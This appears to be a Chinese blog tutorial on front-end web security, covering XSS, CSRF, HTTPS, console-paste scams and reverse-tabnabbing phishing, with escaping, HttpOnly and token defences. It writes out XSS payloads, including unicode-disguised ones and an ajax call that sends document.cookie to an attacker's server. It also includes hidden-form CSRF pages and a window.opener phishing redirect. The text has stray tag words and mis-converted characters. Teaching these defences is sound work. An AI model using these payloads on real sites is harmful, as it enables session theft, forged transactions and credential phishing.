歡迎你們收看聊一聊系列,這一套系列文章,能夠幫助前端工程師們瞭解前端的方方面面(不只僅是代碼):
https://segmentfault.com/blog...javascript
隨着互聯網的發達,各類WEB應用也變得愈來愈複雜,知足了用戶的各類需求,可是隨之而來的就是各類網絡安全的問題。做爲前端工程師的咱們也逃不開這個問題。因此今天,就和你們一塊兒聊一聊WEB前端的安全那些事兒。這裏不去說那些後端的攻擊(SQL注入、DDOS攻擊等),畢竟整個WEB安全是一門很深的學問,不是我一篇文章就能徹底說完的。咱們就聊一聊前端工程師們須要注意的那些安全知識。php
其實真正爲了玩的心態去進行黑網站的人,仍是少數。多數攻擊仍是有利益的成分在裏面的。我模糊的記得,之前聽騰訊的工程師說過一句話,大概是這樣的:開發者不可能確保本身的應用絕對沒法被攻擊,可是隻要攻擊咱們的時候,黑客花費的成本遠比他能夠獲取的利益大得多,黑客就不會去攻擊。防範強如支付寶、QQ等產品,也都曾被報過漏洞,看來防護不是絕對的,咱們只能想辦法讓咱們的應用更加安全。html
百度百科中如是說道:
XSS是一種常常出如今web應用中的計算機安全漏洞,它容許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。
其實在web前端方面,能夠簡單的理解爲一種javascript代碼注入。舉個例子,咱們有個社交網站,容許你們相互訪問空間,網站多是這樣作的:前端
<?php $username="侯醫生"; ?> <!DOCYTPE HTML> <html> <head> <meta charset="utf-8" /> </head> <body> <div> 用戶名:<?php echo $username;?> </div> <div> 第一條狀態:侯醫生的狀態1 </div> <div> 第二條狀態:侯醫生的狀態2 </div> <div> 第三條狀態:侯醫生的狀態3 </div> </body> </html>
運行時,展示形式如圖1.1.1所示:java
圖1.1.1jquery
可是,若是你的用戶名,起名稱的時候,帶上script標籤呢?咱們知道,瀏覽器遇到html中的script標籤的時候,會解析並執行標籤中的js腳本代碼,那麼若是你的用戶名稱裏面含有script標籤的話,就能夠執行其中的代碼了。
代碼以下,效果如圖1.1.2web
<?php $username="<script>alert('侯醫生');</script>"; ?>
圖1.1.2
若是你將本身的用戶名設定爲這種執行腳本的方式,再讓別人去訪問你的鏈接的話,就能夠達到在他人web環境中,執行本身腳本的效果了。咱們還可使用ajax,將其餘用戶在當前域名下的cookie獲取併發送到本身的服務器上。這樣就能夠獲取他人信息了。好比,剛剛我們使用的不是alert而是,以下的代碼:ajax
$.ajax({ url: '本身的服務器', dataType: 'jsonp', data: {'盜取的用戶cookie': document.cookie} });
再在各個QQ羣中,散播本身的空間,引誘別人來訪問。就能夠拿到用戶在這個域名下的cookie或者其餘隱私了。算法
目前來說,最簡單的辦法防治辦法,仍是將前端輸出數據都進行轉義最爲穩妥。好比,按照剛剛咱們那個例子來講,其本質是,瀏覽器遇到script標籤的話,則會執行其中的腳本。可是若是咱們將script標籤的進行轉義,則瀏覽器便不會認爲其是一個標籤,可是顯示的時候,仍是會按照正常的方式去顯示,代碼以下,效果如圖1.2.1json
<?php $username="<script>alert('侯醫生');</script>"; ?> <!DOCYTPE HTML> <html> <head> <meta charset="utf-8" /> </head> <body> <!--咱們將輸出的後端變量,轉義以後再輸出,則能夠避免被注入代碼--> <div> 用戶名:<?php echo htmlentities($username);?> </div> <div> 第一條狀態:侯醫生的狀態1 </div> <div> 第二條狀態:侯醫生的狀態2 </div> <div> 第三條狀態:侯醫生的狀態3 </div> </body> </html>
圖1.2.1
其實,咱們再來看看網頁源碼,如圖1.2.2
圖1.2.2
雖然顯示出來是有script標籤的,可是實際上,script標籤的左右尖括號(><),均被轉義爲html字符實體,因此,便不會被當作標籤來解析的,可是實際顯示的時候,這兩個尖括號,仍是能夠正常展現的。
上一小節咱們防住了script標籤的左右尖括號,藍鵝,聰明的黑客們仍是想出了好辦法去破解,咱們知道,直接給innerHTML賦值一段js,是沒法被執行的。好比,
$('div').innerHTML = '<script>alert("okok");</script>';
可是,jquery的append能夠作到,究其緣由,就是由於jquery會在將append元素變爲fragment的時候,找到其中的script標籤,再使用eval執行一遍。jquery的append使用的方式也是innerHTML(如圖1.3.1.1)。而innerHTML是會將unicode碼轉換爲字符實體的。
圖1.3.1.1
利用這兩種知識結合,咱們能夠得出,網站使用append進行dom操做,若是是append咱們能夠決定的字段,那麼咱們能夠將左右尖括號,使用unicode碼假裝起來,就像這樣--"\u003cscript\u003ealert('okok');"
。接下來轉義的時候,假裝成\u003
的<
會被漏掉,append的時候,則會被從新調用。代碼以下,效果如圖1.3.1.2
<?php $username="\u003cscript\u003ealert('okok');"; ?> <!DOCYTPE HTML> <html> <head> <meta charset="utf-8" /> <script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script> </head> <body> <div> 用戶名:<?php echo htmlentities($username);?> </div> <div> 第一條狀態:侯醫生的狀態1 </div> <div> 第二條狀態:侯醫生的狀態2 </div> <div> 第三條狀態:侯醫生的狀態3 </div> <div>版權全部:<span id="username_info"></span></div> <script> $('#username_info').append("<?php echo htmlentities($username);?>"); </script> </body> </html>
圖1.3.1.2
咱們能夠看到,雖然進行了轉義,注入的代碼仍是會再次被執行。
再來一種攻擊方式,img標籤的小貼士。
這裏咱們須要重溫一個小知識點-----img標籤,在加載圖片失敗的時候,會調用該元素上的onerror事件。咱們正能夠利用這種方式來進行攻擊。咱們先來看一下,正常的用戶分享圖片的行爲怎麼作。代碼以下,展現如圖1.3.2.1
<?php $username="<script>alert('侯醫生');</script>"; $imgsrc="http://img5.imgtn.bdimg.com/it/u=1412369044,967882675&fm=11&gp=0.jpg"; ?> <!DOCYTPE HTML> <html> <head> <meta charset="utf-8" /> </head> <body> <div> 用戶名:<?php echo htmlentities($username);?> </div> <div> 第一條狀態:侯醫生的狀態1,這個是圖片: <img src="<?php echo $imgsrc;?>" /> </div> <div> 第二條狀態:侯醫生的狀態2 </div> <div> 第三條狀態:侯醫生的狀態3 </div> </body> </html>
圖1.3.2.1
可是,若是這張圖片的地址咱們換種寫法呢?
<?php $imgsrc="\" onerror=\"javascript:alert('侯醫生');\""; ?>
咱們再來看看拼裝好的html源碼,如圖1.3.2.2:
圖1.3.2.2
這時的源碼已經變爲--src爲空,可是onerror的時候,執行注入代碼。咱們刷新查看頁面,就會發現,代碼注入已經成功,如圖1.3.2.3所示:
圖1.3.2.3
看官你可能會說了,再轉義唄。是的,老套路,咱們接着進行轉義---你這個毛病呀,就算治好了(老中醫口吻)。
<img src="<?php echo htmlentities($imgsrc);?>" />
恩,總算是恢復正常了,如圖1.3.2.4所示。
圖1.3.2.4
可是......可是,道高一尺魔高一丈,雖然防住了img標籤直接的輸出,可是咱們的攻擊點又來了,咱們將1.3.1中所說的方式與1.3.2中所說的方式進行結合,進行一種組合式攻擊,咱們以前說過,innerHTML賦值的script標籤,不會被執行,可是innerHTML賦值一個img標籤是能夠被識別的。咱們把img標籤的左右尖括號,使用unicode進行假裝,讓轉義方法認不出來,即便innerHTML也能夠利用上了,代碼以下,效果如圖1.3.3.1
<?php $username="\u003cimg src=\'\' onerror=javascript:alert(\'okok\');\u003e"; ?> <!DOCYTPE HTML> <html> <head> <meta charset="utf-8" /> </head> <body> <div> 用戶名:<?php echo htmlentities($username);?> </div> <div> 第一條狀態:侯醫生的狀態1 </div> <div> 第二條狀態:侯醫生的狀態2 </div> <div> 第三條狀態:侯醫生的狀態3 </div> <div>版權全部:<span id="username_info"></span></div> <script> document.getElementById('username_info').innerHTML = "<?php echo htmlentities($username);?>"; </script> </body> </html>
圖1.3.3.1
這樣,innerHTML也能夠派上用場,再次突破防線。
看來,咱們須要再次進行防護升級了,咱們將輸出的字符串中的\
反斜槓進行轉義(json轉義)。這樣,\
就不會被當作unicode碼的開頭來被處理了。代碼以下:
document.getElementById('username_info').innerHTML = <?php echo json_encode(htmlentities($username));?>;
生成處的源碼,如圖1.4.1
圖1.4.1
效果如圖1.4.2所示
圖1.4.2
都說了道高一尺魔高一丈了,你覺得防得住後端輸出,黑客大大們就沒辦法攻擊了嗎。咱們有的時候,會有一些習慣,拿URL上的get參數去構建網頁。比如說,直接拿url上的用戶名去展現啦,拿url上的一些回跳地址之類的。可是url上的參數,咱們是沒法提早對其進行轉義的。接下來,來個例子,代碼以下:
<html> <head> <meta charset="utf-8" /> <script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script> </head> <body> <div> 用戶名:<?php echo htmlentities($username);?> </div> <div> 第一條狀態:侯醫生的狀態1 </div> <div> 第二條狀態:侯醫生的狀態2 </div> <div> 第三條狀態:侯醫生的狀態3 </div> <div>版權全部:<span id="username_info"></span></div> <script> var param = /=(.+)$/.exec(location.search); var value = decodeURIComponent(param[1]); $('#username_info').append(value); </script> </body> </html>
上述代碼,知足了一個很正常的需求,解開URL中的一個參數,並將其渲染至頁面上。可是,這裏面存在一個風險,若是黑客在URL的這個參數中,加入js代碼,這樣便又會被執行(如圖1.5.1所示)。
圖1.5.1
像這種從url中獲取的信息,筆者建議,最好由後端獲取,在前端轉義後再行輸出,代碼以下,效果如圖1.6.1
<script> var value = decodeURIComponent("<?php echo htmlentities($_GET['username']);?>"); $('#username_info').append(value); </script>
圖1.6.1
使用url中的參數的時候要當心,更不要拿URL中的參數去eval。
若是不幸中招了,黑客的js真的在咱們的網頁上執行了,咱們該怎麼辦。其實,不少時候,咱們的敏感信息都是存儲在cookie中的(不要把用戶機密信息放在網頁中),想要阻止黑客經過js訪問到cookie中的用戶敏感信息。那麼請使用cookie的HttpOnly屬性,加上了這個屬性的cookie字段,js是沒法進行讀寫的。php的設置方法以下:
<?php setcookie("userpass", "doctorhou-shuai", NULL, NULL, NULL, NULL, TRUE); ?>
如圖1.7.1,咱們的cookie已經種上了,而且有了httpOnly標識
圖1.7.1
如圖1.7.2,咱們經過js沒法獲取cookie中的設定有httpOnly的字段:
圖1.7.2
話說回來,其實還有不少xss的升級攻擊方式,同窗們有興趣的話,能夠本身去研究一下。(不要幹壞事兒哦)
CSRF攻擊在百度百科中的解釋是:
CSRF(Cross-site request forgery跨站請求僞造,也被稱爲「One Click Attack」或者Session Riding,一般縮寫爲CSRF或者XSRF,是一種對網站的惡意利用。
其實就是網站中的一些提交行爲,被黑客利用,你在訪問黑客的網站的時候,進行的操做,會被操做到其餘網站上(如:你所使用的網絡銀行的網站)。
一般咱們會爲了省事兒,把一些應當提交的數據,作成get請求。卻不知,這不只僅是違反了http的標準而已,也一樣會被黑客所利用。
好比,你開發的網站中,有一個購買商品的操做。你是這麼開發的:
<?php // 從cookie中獲取用戶名,看似穩妥 $username = $_COOKIE['username']; $productId = $_GET['pid']; // 這裏進行購買操做 //store_into_database($username, $productId); ?> <meta charset="utf-8" /> <?php echo $username . '買入商品:' . $productId; ?>
而商品ID圖個省事兒,就使用了url中的get參數。買商品的話,如圖2.2.1.1所示
圖2.2.1.1
那麼,黑客的網站能夠這樣開發:
<!DOCYTPE HTML> <html> <head> <meta charset="utf-8" /> </head> <body> <img src="http://localhost:8082/lab/xsrflab/submit.php?pid=1" /> </body> </html>
這樣的話,用戶只須要訪問一次黑客的網站,其實就至關於在你的網站中,操做了一次。然而用戶卻沒有感知。如圖2.2.1.2所示:
圖2.2.1.2
因此,咱們平常的開發,仍是要遵循提交業務,嚴格按照post請求去作的。更不要使用jsonp去作提交型的接口,這樣很是的危險。
若是你使用了post請求來處理關鍵業務的,仍是有辦法能夠破解的。咱們的業務代碼以下:
<?php $username = $_COOKIE['username']; // 換爲post了,能夠規避黑客直接的提交 $productId = $_POST['pid']; // 這裏進行購買操做 //store_into_database($username, $productId); ?> <meta charset="utf-8" /> <?php echo $username . '買入商品:' . $productId; ?>
黑客代碼以下:
<!DOCYTPE HTML> <html> <head> <meta charset="utf-8" /> <script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script> </head> <body> <button id="clickme">點我看相冊</button> <script> $('#clickme').on('click', function () { // 用戶再不知情的狀況下,提交了表單,服務器這邊也會覺得是用戶提交過來的。 $('#myform').submit(); }); </script> <form id="myform" style="display:none;" target="myformer" method="post" action="http://myhost:8082/lab/xsrflab/submit.php"> <input type="hidden" name="pid" value="1"> </form> <iframe name="myformer" style="display:none;"></iframe> </body> </html>
效果如圖2.2.2.1
圖2.2.2.1
點擊後,用戶進行了提交,卻連本身都不知情。這種狀況如何防護呢?
最簡單的辦法就是加驗證碼,這樣除了用戶,黑客的網站是獲取不到用戶本次session的驗證碼的。可是這樣也會下降用戶的提交體驗,特別是有些常常性的操做,若是總讓用戶輸入驗證碼,用戶也會很是的煩。
另外一種方式,就是在用訪問的頁面中,都種下驗證用的token,用戶全部的提交都必須帶上本次頁面中生成的token,這種方式的本質和使用驗證碼沒什麼兩樣,可是這種方式,整個頁面每一次的session,使用同一個token就行,不少post操做,開發者就能夠自動帶上當前頁面的token。若是token校驗不經過,則證實這次提交併不是從本站發送來,則終止提交過程。若是token確實爲本網站生成的話,則能夠經過。
代碼以下,防護效果如圖2.2.2.2
<?php $username = $_COOKIE['username']; $productId = $_POST['pid']; $token=$_POST['token']; // 校驗算法例子 function check_token($token) { if ($token==='doctorhou-shuai') { return true; } return false; } if (!check_token($token)) { // 若是校驗未經過,則停止 return ; } // 這裏進行購買操做 //store_into_database($username, $productId); ?> <meta charset="utf-8" /> <?php echo $username . '買入商品:' . $productId; ?>
圖2.2.2.2
如上圖,並無攜帶本站每次session生成的token,則提交失敗。
本站的網站form,則都會自動攜帶本站生成的token
<?php function token_creater() { // 本站生成token的方法 return 'doctorhou-shuai'; }?> <!DOCYTPE HTML> <html> <head> <meta charset="utf-8" /> <script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script> </head> <body> <form id="myform" target="myformer" method="post" action="http://localhost:8082/lab/xsrflab/submit.php"> 商品名稱:<input name="pid" value="1"> <input type="hidden" name="token" value="<?php echo token_creater();?>" /> <input type="submit" value="提交" /> </form> <iframe name="myformer" style="display:none;"></iframe> </body> </html>
再次使用本站的網頁進行提交,則經過,如圖2.2.2.3所示:
圖2.2.2.3
固然,上面的只是例子,具體的token生成,確定是要隨着session與用戶ID去變的,若是各位看官以爲本身的網站也須要加個token,請自行百度,進行深刻的學習。
不少的時候,咱們的網站不是直接就訪問到咱們的服務器上的,中間會通過不少層代理,若是在某一個環節,數據被中間代理層的劫持者所截獲,他們就能獲取到使用你網站的用戶的密碼等保密數據。好比,咱們的用戶常常會在各類飯館裏面,連一些奇奇怪怪的wifi,若是這個wifi是黑客所創建的熱點wifi,那麼黑客就能夠結果該用戶收發的全部數據。這裏,建議站長們網站都使用https進行加密。這樣,就算網站的數據能被拿到,黑客也沒法解開。
若是你的網站尚未進行https加密的化,則在表單提交部分,最好進行非對稱加密--即客戶端加密,只有服務端能解開。這樣中間的劫持者便沒法獲取加密內容的真實信息了。
不知道各位看官有沒有注意到天貓官網控制檯的警告信息,如圖4.1所示,這是爲何呢?由於有的黑客會誘騙用戶去往控制檯裏面粘貼東西(欺負小白用戶不懂代碼),好比能夠在朋友圈貼個什麼文章,說:"只要訪問天貓,按下F12而且粘貼如下內容,則能夠得到xx元禮品"之類的,那麼有的用戶真的會去操做,而且本身隱私被暴露了也不知道。
圖4.1
天貓這種作法,也是在警告用戶不要這麼作,看來天貓的前端安全作的也是很到位的。不過,這種攻擊畢竟是少數,因此各位看官看一眼就行,若是真的發現有的用戶會被這樣攻擊的話,記得想起天貓的這種解決方案。
釣魚也是一種很是古老的攻擊方式了,其實並不太算前端攻擊。可畢竟是頁面級別的攻擊,咱們也來一塊兒聊一聊。我相信不少人會有這樣的經歷,QQ羣裏面有人發什麼兼職啦、什麼本身要去國外了房子車子甩賣了,詳情在我QQ空間裏啦,之類的鏈接。打開以後發現一個QQ登陸框,其實一看域名就知道不是QQ,不過作得很是像QQ登陸,不明就裏的用戶們,就真的把用戶名和密碼輸入了進去,結果沒登陸到QQ,用戶名和密碼卻給人發過去了。
其實這種方式,在前端也有利用。下面,咱們就來試試若是利用前端進行一次逼真的釣魚。
1 首先,咱們在xx空間裏分享一篇文章,而後吸引別人去點擊。效果如圖5.1.1
<!DOCYTPE HTML> <html> <head> <meta charset="utf-8" /> </head> <body> <div> 當前你在xx空間 </div> <h1>侯博士的分享</h1> <section> 我們班當年班花,如今長這樣: <!--這是我們的釣魚網站--> <a href="http://localhost:8082/lab/fish/cheat.php" target="_blank">點我查看</a> </section> </body> </html>
圖5.1.1
2 接着,咱們在cheat.php這個網站上面,將跳轉過來的源網頁地址悄悄的進行修改。效果如圖5.2.1
<!DOCYTPE HTML> <html> <head> <meta charset="utf-8" /> <script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script> </head> <body> 你想看的信息: xxxxxxxxxxxxxx xxxxxxxxxxxxxx <script> // 在用戶不知情的狀況下,對跳轉的來源網頁進行地址替換 window.opener.location = 'http://localhost:8082/lab/fish/myfishsite.php'; </script> </body> </html>
因而,在用戶訪問了咱們的欺騙網站後,以前的tab已經悄然發生了變化,咱們將其悄悄的替換爲了釣魚的網站,欺騙用戶輸入用戶名、密碼等。
圖5.2.1
3 咱們的釣魚網站,假裝成XX空間,讓用戶輸入用戶名與密碼,如圖5.3.1
圖5.3.1
這種釣魚方式比較有意思,重點在於咱們比較難防住這種攻擊,咱們並不能將全部的頁面連接都使用js打開。因此,要麼就將外鏈跳轉的鏈接改成當前頁面跳轉,要麼就在頁面unload的時候給用戶加以提示,要麼就將頁面全部的跳轉均改成window.open,在打開時,跟大多數釣魚防治異曲同工的一點是,咱們須要網民們的安全意識提升。
開發時要提防用戶產生的內容,要對用戶輸入的信息進行層層檢測
要注意對用戶的輸出內容進行過濾(進行轉義等)
重要的內容記得要加密傳輸(不管是利用https也好,本身加密也好)
get請求與post請求,要嚴格遵照規範,不要混用,不要將一些危險的提交使用jsonp完成。
對於URL上攜帶的信息,要謹慎使用。
心中時刻記着,本身的網站哪裏可能有危險。
畢竟web安全是個很大的面,若是須要了解,仍是須要進行專門的學習的。但願這篇聊一聊,可讓各位開發者的網站變得更安全。
各位看官本身的網站中,是否是還留有不少安全漏洞呢?請各位看完本篇文章以後,回想一下,本身的網站是否還有哪些地方存在安全隱患。還有,本身能否爲本身團隊裏面的同窗制定一下開發時的安全規範呢?
接下來的一篇文章,我將會和讀者們一塊兒聊聊web圖片那些事兒,不要走開,請關注我.....
若是喜歡本文請點擊下方的推薦哦,你的推薦會變爲我繼續更文的動力。
以上內容僅表明筆者我的觀點,若有意見請通知筆者。